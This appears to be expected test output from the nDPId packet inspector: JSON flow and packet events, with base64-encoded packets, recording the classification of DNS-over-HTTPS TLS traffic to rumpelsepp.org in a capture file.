+00658{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":736167,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"REREREREZmZmZmZmCABFAADVvxVAAL0GjXEKAAABMw980MyiAbu+o\/mehj5VfVAYAfVxYwAAFwMDAKjeMLMhyS8RnzzOQS4cuWjijF7smW3XZr8jg+qDJurkQ1wgeLreREePT+slViPXK25iP2bDTzXQxs+to4ronhFHKfwguRUIlG99TVLmS6O\/S0c0mIzS9MAqpn\/\/zlTn6K6Tq7hMPYxO+RjUtj2wT1oeFQ\/UTWMGXXugZa3oHQjkX3h5kpsUm4dHwvZFd0IeemOALdh\/jh3M6p+9az7Ky5\/0dMaZdH5uBFI="} +00529{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":736235,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3vxZAAL0Gjc4KAAABMw980MyiAbu+o\/pLhj5VfVAYAfVxBQAAFwMDAEoYT250LpL3AzfDYXx1tPKkA2dacZ\/cHFZBTPtKMuWR4WK7\/wbmWWwzF9YdzFJStPgJa+c5mnAejznpWHojzFGZcGfjCwyaOU6PCQ=="} +00504{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":761645,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"ZmZmZmZmRERERERECABFAABmX8pAADUGdSwzD3zQCgAAAQG7zKKGPlV9vqP5SFAYAIMkPwAAFwMDADn7lMvqljQv5HuCIubFWktRbINX851c7tgUrxUwrgSuk\/7FXRFVn9xpbGD\/8J1MgPGEtz+DjnBaeE4="} +00463{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":761685,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHX8tAADUGdUozD3zQCgAAAQG7zKKGPlW7vqP5nlAYAIORVAAAFwMDABr+qWF8QlS\/5A4HgGzmnm6FQoNv\/\/Q4KsWFng=="} +00463{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":761833,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHvxhAAL0GjfwKAAABMw980MyiAbu+o\/qahj5V2lAYAfVw1QAAFwMDABpo2kz1Ww3x0n2idI2NRhSA7Tl4Z\/J52wGg6A=="} +00465{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":762122,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLX81AADUGdUQzD3zQCgAAAQG7zKKGPlXavqP6mlAYAIVtCwAAFwMDAB65bfHot+wQ6i1UR5Pkde0TACBP5AFTE3dWynUh2dw="} +01528{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":763433,"pkt_caplen":868,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":868,"pkt_l4_len":834,"pkt":"ZmZmZmZmRERERERECABFAANWX85AADUGcjgzD3zQCgAAAQG7zKKGPlX9vqP6mlAYAIVnJQAAFwMDAykRe11+n2aOvuhic+Ey9JmxBSXdzp\/OVtiIsWg23+WhZ22+wemguE8CIo+E1UgG8WBUi8Wua48cqV6ZP9xQNdIEWX9pYw7ohSYSgV5qmISw32j5bItsu87Vp4kTbCZxLe\/02dKlzAivK3nJLLGC7mJ79re02cRgHeqnV5OO3ttkA7cbsCIYpA1zhuIOO6\/lVCrJp+Q5ruqQWgL8igAOOHwS9+1jvOMg1n2ZqlFSo36BvhAG0H6Emkkc3ywuu2vlvSZKbQaz8mep1cOj030rtqflrnIK6859nuKD3hTKBVot9LwN7kbijtkpaGZAj25wsupKbzNXydgMsAEDrDdor2St67D6YcDSOkU8yTrUGX4\/3L9vesOy7qfooG1H5mwsvkuNJ8ceuX+Dalcg2lSW6hr0j4lTlHSxJUr89hqyjmDzW7KmmTNCZ880QHWvZKJq9RyFiRa1kOaDQDq3F8ZKaYd6kjCyaKY334StwsDlO\/Ew5VM\/EVAJ7Y\/IRPXsA1cYaNYkLw6xiM8+yNssnY7c2y6KRUdnHL8GcAMkhkLLqWNGKGvRt3v9cFGdHGFjMc5l7ijMvHRiCvzjsn0LErJBPr4l0xJSo52QfCfnR0EiiVj0OMJNGfsMrNkmvLVZnynr3T\/1OBemLzn3pVbiK\/bF3W6EKrP+hzToiJtK33cOCtrb9eTIhw9mUfej6O55abSbp16JjZX5PtcBo+jGNjzn5jcBGr\/fgIVldwbThxl4YiwLW0WsvNlFpIpesFMpx5NCBOYtD+lqKO\/R6yQNhVP2VgLLOw8aqXDOAtqpvcR+tH04+bbBAXdZDcbRAF\/FLcl8Yt\/STyrDY5sRZr8a19F\/2hMdC+lTkINqFRnm\/3ldjM+jKE+rlKn8NtvR73Nyl1WI0HfsjIj\/TpqHVtuwxGowV7D3fM\/JCKuqodhNi2lqlsqTTEuoNEkeCrX00A\/OkK3Zmd9lFxYqFWKC0qcklMJW8LqbLzzI6yIsbC9EIEQPjV5f4zris470hGKGyUK\/c51S\/noAsJIN4sr27lQ5mNt0OEUgJgJWX3InH2ztzMQYBGhFeb8+q1AVrMHzfw=="} +00466{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":763803,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLvxpAAL0GjfYKAAABMw980MyiAbu+o\/q5hj5ZK1AYAfVw2QAAFwMDAB6tOffBq7b64QmsSd+v2c786Zhv5fiYEDuaa3zhYCk="} +00569{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":763883,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"REREREREZmZmZmZmCABFAACSvxtAAL0Gja4KAAABMw980MyiAbu+o\/rchj5ZK1AYAfVxIAAAFwMDAGUSdilsnk\/DPCg2yJSmsPDr7T33UpDt7+fouyU7qugS3mc9WlRpzhBODn6kogeE8qQPmYW+sgOJpYyaj\/fEVTl5HFaT10uDxxLeSCv\/DfULel8k7sQWkW\/x89wDwp8NSpi0WLeX0w=="} +00572{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":763986,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWvxxAAL0GjakKAAABMw980MyiAbu+o\/tGhj5ZK1AYAfVxJAAAFwMDAGkcIdxZpkdanT9u5zf3CPqQB\/78XpNb\/ByXljyCZgyJpkvfvLYi97zU3lVUx1ibVLgT1FzxzwmcB6WJ8gKgQ\/+uQH1RAtsJmi+4IgEvK59Ia4TDcUFuqPyr9T47vrlX9m3EHNX1jLuPzfE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":946739312203,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.203.179.248","src_port":41720,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00801{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":203391,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"REREREREZmZmZmZmCABFAAFEaI9AAL0GaqQKAAABdMuz+KL4AbtonCHmRxNJVFAYAfbqtgAAFgMBARcBAAETAwNLJ0LoKZs0jG4db6SH737y8naHXDM3S+mAdGRoYzSPaSD3zYs+eWXICfX4e3zLCPsIhyJf4YitXdBLrNgVR3LKFwAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACkAAAAEwARAAAOcnVtcGVsc2VwcC5vcmcABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAg33Waic8Yfh0yJ5buIXWM7xt29S4VxDeDA2qvuzRytkE="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":946739312203,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.203.179.248","src_port":41720,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"rumpelsepp.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02381{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":226652,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUJ6JAADYGLgJ0y7P4CgAAAQG7ovhHE0lUaJwjAlAQAfWSIAAAFgMDAHoCAAB2AwPlxRfYXMEhZdQ8ajfb6CRVs1xCMiaZqVFxrCKnBSpfMSD3zYs+eWXICfX4e3zLCPsIhyJf4YitXdBLrNgVR3LKFxMBAAAuACsAAgMEADMAJAAdACC7U5tcN1lyGmU4zwJoCO50vCXYPM\/QvTMxioFdnZMwahQDAwABARcDAwAgWYRxXowUwkrzaVinqnzWcQ+TBbMUOwCXts50ql211fAXAwMLXdNQugGPXsJ\/8C6qtHlVybUGs7I40LMTA5OhGA+5YDHeNrEuEhv+tu5lin4eHBImQq4kbeHEAo3aNZo3KmURuDQDW8qwTnUEVfBOev0Cp\/PjSdjbD78ol0y5nY2oRm2fbsKHJzJSSjb0AciAo1LrQOgCF2CvMV+eyOyHUYct\/0CZzYMkLxKZwgRjyAJuXMfA4yEKZGM2df01\/BUbSo1Rl+1vGFFUkgKmIgKkRy+Bl\/5\/aUS0H7x+NZdUl10aLbTaEzyxHvC5FKjKyKio8Nq1FnOONx6t6a1NxwFwus79kTDzOhi2RBBAptjB5bREXvI7I78ofmPnYWckOqrJFFwvKuiJMXscIR8meUqP2LfgWzMDMhsH4p0jN+l3Gq+FBdoxKNoG26O484i0pfOfynG5VCfFmeEmq9XB2jrTV2FwEB1w6FHC1GMZVEK60qV4O+pPgrZRJMZSzwllOfjef8V42EZAcff6ioa4KXyU2Lg36HO0yhYzbeNUU3pAi5\/qwo\/8uuPNfVbKx0eipCjwx5+0hZa74DG\/pD0GzntSqS7YWEdlhEup1mtZmQo0eaDjwGNrCt+ZhJgQy3V2hPBCa6ygW9VMF25ycsILPfVx1AuqPxUOHW4j094S0MBQegEN0J3yWeWaiiBlzmaP9zyQI2IatrzAzhNsYChDHK+csfeO9ThoioAfgwS3AljMljsUX8LckrIXpurphG9MTttyGcbyuYOZgMBCh0hvfGempBEWQ87aRGnYict7DJMJ4ANT6I8mIRYfs9ktyEUtlVvr4PQNKARgob1jc7dcCzVhF1wheYyQGYeS88ndMehrocaatcfPAW+sGsd\/PlwCwZjCKZRZc+RY8UIBMVVQFkJfKmd3vMc6ZdNW+eECwipaKd\/GGSBQQLLSZMZlc2\/fq5kgX+ANS93WhwsRG1d13Nrw0y\/ATREqmOdYnxg9NReWvH6Y9oKaWK0ORmDf6ge12lS9oVHWz42D+xzkGejOSsWciqHXAH+yg6krTEDYRK\/FPbGud1EfOntNRDB8fuTqg6A3gnOVkf5Fe+6Udnrmytaz7VKwjYRLdi7vz2qagJMVcAAVeEuovh5FOb\/1EXijxsxUB7j\/jcKgZC3AwFJv0DQSdWi57X+9030WJdNzGWfONsJDey166z5gtgIr0gWE3XSAHs3+JszFzgP3FC9xVilACKjY2RhRQyvT6fGwve0GSnMhLdXxdeZ6r4BSk1XrmYwxLzeXAWqaNfsfk0zirnPcN6UG26k3lnJ6hvodPS8WtfbDlmo8y38gK+0yMKaENYnpsWQ48t8ZDpKCeCokx5kJ4EaYicnC8gtp5emEtPLOmyhRS\/Kx67Xu26y0PrFyj7Ld8XnP+XpwQqAHuqyPPLcA7ULfoMWkppyHnn9L21Mz+6Ml1h7gnl\/ZwxToT4wqDJUExA47\/9+7Gr\/oh5kj8z6qG0LWqBHYWfEqQZ9C6c64n2xAiBIjVtW2HmMJDocq5nLsWLSEY96ngephvH\/r2i4gA320QycCOlUbe7IShXjhfHajvNFk9aT9mVr+xKfGAIJr4upUShXmjRDRgxjZ9A2ryxbqx35tiU7DJrZpjO\/5DMzEBxvVggb2jlqmTLhZH4TtJi6zfeCLrUu+11tfn0GJzj4HRmOyvzdz8MwTSgWBVisogZKhAqzzkq5ai5YnEcmNOW52YkN74XGWlccUSq2JFZXF"} +00828{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":172,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":2,"flow_first_seen":946739312203,"flow_last_seen":946739312226,"flow_tot_l4_data_len":1776,"flow_min_l4_data_len":304,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":888,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"116.203.179.248","src_port":41720,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"rumpelsepp.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02393{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":226720,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUJ6NAADYGLgF0y7P4CgAAAQG7ovhHE08AaJwjAlAYAfWhygAAp6lKTcn83BQxpQ2W+POQkJxpRZXfacCT49dCzRTmvnt7\/eMDX1qsnmxcn8IW\/\/jaiVs0n6JrCEPqM3KpB310Ezncm8MGw7ZSfjBA5NhRsYZd6g\/lnjS76Li5236Ye\/OssNOz\/mjZ3Pxtb9lckb\/iUUI\/CTV\/O+8693wmOcz\/ttlVvcsf2F2cDnHv69Z9ZcBThvWSK1Fyp8msppNqA2rjumUxHY0NG8Y6Cz7YUFXsrxgVnCyIlXLFSqfPySagEMAo+BwG8r0qoeYlZ+taxtjBF+CPFNBs5wvSzuudNsLZAlsoLeVbC7V4nVAvK0ZozwjUaQXydZ7If0bf1gWwEwbOWvwXqAGoH05iR0Faj+nrSPK0l15jvP1ksCKE\/mIp4VHggNWOkJSAoQLhJ7eDNcolNe3VlYAesuTAoWHjzA4h2mXXEBGcexNswvAECexp5rG8zj4HDx39qgDVWk3o0eoSeBD1Uedt57E3iKOheQuYjuGPkNLW\/CT1EKc1xsQFJaPuXeJntSsuTJIbn\/JmjGMrhs2EpgTuc4i6KbgNr+Dg8naPJNChEcAoURckVZ0QP1tlwwQ3au79pUNst+WdCcPkSU8h2p+dgHNltfLpGpzxtjAkiMDwJHlE7uKJfM3Jooj+j8pbChIDWDckUBPBe4tCMPlI9VbP7p8jHCN+Jbgx\/vlzb\/jhrZ3VmwNp1ed4spIYgJkRtqvwQ8Z+wh5eYA\/rsAfAyJTWCHM70B9AefRgCTo9QDWJRLYx1cy2\/Boia47DDoYb3uBS7QfII4eh4Kp0F4K7dkOLwQWThipleT\/tvJB91q4YO69guoqAikyr2u0R4I\/dsfO61jRS\/0OGcoHRfzyYT6Gw0389lH9EFy84qx0Src85OaD1tRwt6pfR9awywt5CBZe04hE0tSwRbw55PNLODVlESQS0e66OA\/M16o1ABO7aMZrc1JmwD6a7e6weEeFmAazedN8hZmlYv1tms5VSBekoNgGF0CPdRNH7+BWQQ\/oy6wbYcn9T8DbY3EESV3ngHV5p7hWwxUALrbhEOn\/rgSRIuWBulfZWiwjpGLHCmd25Lp9PvWu2ARh3jmQWx3LqaLBWQZ2RO9BztLQCxX\/fKF1FJ2Nxx5CvAx1deQyJI3ILd0FX\/RREt+JafDB83Cz6gQe6DiXexfTUxaiReu6RStMeEaz6P71JkxtuCl0MQOV+trcnTBAsrOiC0Pnp41ddFZ9LyjPw5Mwgkq5S8GDPbsUHU26OG2nr4C2Qc8pral7heokrRYgBHlPnskyAlkCxuL+0XPLYLPIRRcJ64nRekoDw2yg6gDPsz4RcMVRLhEiIfkrCTlBJmmDuRqLpZJpecdlBmRfFHNMXGB8i+H\/\/tNPFLdJAZryXO\/8h5nkH4Mq7yLQ6vkIR62sgbVPD0Qe836LfCEQO\/hxA9iWtbqSJ07ScNvoG2Czrtvhfwq400gs5KtFeBbk1AFnMyczsxPdl6tp142MbR3VLQmj78nlxilK51hORcVLi9ktXxGEonuDfod4vDjaA3pJ\/0ADkZjstpvA2GHymd+GbXXXQzsOxrlPNaHDKM7gA5XeYsGBeDXesqay1VJZXsBwjzKmLHBEfMmuTQkRGywy3RBFrIumMzi24aTghRx9FA\/ZPDZtgNyArr3TSzkQB\/WYB0FDxqBDH7pfBnH8cJXOSx4GfComMuGBhw8lB8S7RS+Tun6aoozaQ7NOXFkWLUNwlMATJg\/u88xBUir9H293nJp613ia6G8KaLtsNZhb97810Q6p5rpfzJ8sEbxPvnOBsJoN2uNaptS39DLNaJ78nP1N\/6JenLJUIebOzoNXR4wfNgVp5Coyyjw8dfCFDyuNA5Oi18AcVmGaGj7TK82vR9gQ2IWuTm0sTMl0T1RNelk87ZLC7oqgqi01091WCo6H3\/T5HgzDHHgrz3hvSk8s9"} +00877{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":226748,"pkt_caplen":393,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":393,"pkt_l4_len":359,"pkt":"ZmZmZmZmRERERERECABFAAF7J6RAADYGMll0y7P4CgAAAQG7ovhHE1SsaJwjAlAYAfVGjQAAa5XmI3QYf4U3GsgNUiYg6nE+sTM2tlCEaWD8a+yhV47rmE6kvvkUyHudhyGiVLBix\/s2Tl66k6oMofRZkQrLXScZtdHRIfQgK9btbsMM1xTaTzfknUCL8Cww5biZh9NDUry8F8w5qpojEKHzH3A3\/4lC6uHgw2s20sHxwLZeI\/SjDolPw0HgqtQ7HRGthKZGgTF7EF5W3jX9zyxYcKT5Z+6a10K\/AJDS4B9NuFR6g1KQ6qPeFwMDAGD+4QCAyHAuMeUJDl\/3cFciykXBFAH+fIJCuocOnRHoaZKbLjxfCuEOFssJeNkoB7QqAW9OD5gzqBZNRuNAkbcUPEYKafd8lUfYNtA6Qc4Hu\/0eRYaPXNNUA8lYtFnGE6cXAwMANeAmEtdH6fzebaiXt7tDhzhyIraQebUR9GWfb0bTVPXdXtGXRnRa+RFnQlFlafsVPs9+iBkn"} +00511{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":229199,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoaJNAAL0Ga3wKAAABdMuz+KL4AbtonCMCRxNV\/1AYAfXp2gAAFAMDAAEBFwMDADVrZKXXCOBBCDNpYRE7STWc\/HnJjONF20ovpuvcRz\/QdPSitaw7jbrSJSqUOOsH\/fAYewK\/Rw=="} +00537{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":229370,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+aJRAAL0Ga2UKAAABdMuz+KL4AbtonCNCRxNV\/1AYAfXp8AAAFwMDAFExZn5jSITTgmrs7ExkoeSZzlhSTuj4TR+4utefA5DiQ2kS719\/JkLi4stEeXZfx996d3a6GyqM3LQHuLw5DfJRkfnHr6O3qmLOGwyHWgfAKWw="} +00653{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":229554,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"REREREREZmZmZmZmCABFAADSaJVAAL0GaxAKAAABdMuz+KL4AbtonCOYRxNV\/1AYAfXqRAAAFwMDAKUCUgYkOFrO5eltKNLJm0Lzwq1+bSATXeJO50AjxgF0R8b+\/FUg\/qmNr06X9AUAPv4HH+xqiI9GHl1wcny80GZwP04NUXeTjCb5MQC4G2INBP+SbWMq7KsiKeNd+C8VdUmGT7\/y6LS5VAvQtDECw69yP0BOd8E2F\/JkdWggMljqNnkubmRJQt4U084yV9gMiq6zFIilF6EyNAg3\/5149wKtzlCDASs="} +00528{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":229651,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3aJZAAL0Ga2oKAAABdMuz+KL4AbtonCRCRxNV\/1AYAfXp6QAAFwMDAEph2Pm4rRyt7OxAWHqf+qXDuLy4wCaTMbaT1HeG\/K1tqmuJMEpAd27bZX4SWP30Kd4YsyJizFXnQuWaFZogxHO+vSiwWZVoHHmCiQ=="} +00495{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":250678,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"ZmZmZmZmRERERERECABFAABfJ6lAADYGM3B0y7P4CgAAAQG7ovhHE1X\/aJwkkVAYAfVJ8AAAFwMDADK2AxGqQujb4PzGpktez6VTpZxZRdtfk4n55r2ESMvF9aFQN4Rm+ttAl5gVIT1lOkk4Qg=="} +00480{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":250707,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ZmZmZmZmRERERERECABFAABUJ6pAADYGM3p0y7P4CgAAAQG7ovhHE1Y2aJwkkVAYAfWjAwAAFwMDACccDVGEid\/eQmNgSsJ67w+hj\/UAZw5xZOI+zIs5sTLmsTWkNWzJ\/lE="} +00461{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":250834,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHaJhAAL0Ga5gKAAABdMuz+KL4AbtonCSRRxNWYlAYAfXpuQAAFwMDABqsrgFEOJBsuvr9U3DqdC4dJVO1lBZdaWr4YQ=="} +00465{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":252917,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLJ6tAADYGM4J0y7P4CgAAAQG7ovhHE1ZiaJwkkVAYAfUr3wAAFwMDAB7W13+CjNVTwk6v7SOQFX6jdMX7G2ttvB5nucDsuf4="} +00587{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":253667,"pkt_caplen":177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":177,"pkt_l4_len":143,"pkt":"ZmZmZmZmRERERERECABFAACjJ6xAADYGMyl0y7P4CgAAAQG7ovhHE1aFaJwkkVAYAfWNfQAAFwMDAHbNNMxlK2hi+kM73RG+R9mVK1k1n278Xq2fwo65cKzW32ncn3dJ7kB\/wz+TBKjCjHuzTa3am\/FIFV25etmokJlONLLJrfcoS+4PkOtmintpqLX1\/mQcZ5cwcG1CyWfqnc5A+A1kfAB6j4X1LC+tm9SmlL8k5lmx"} 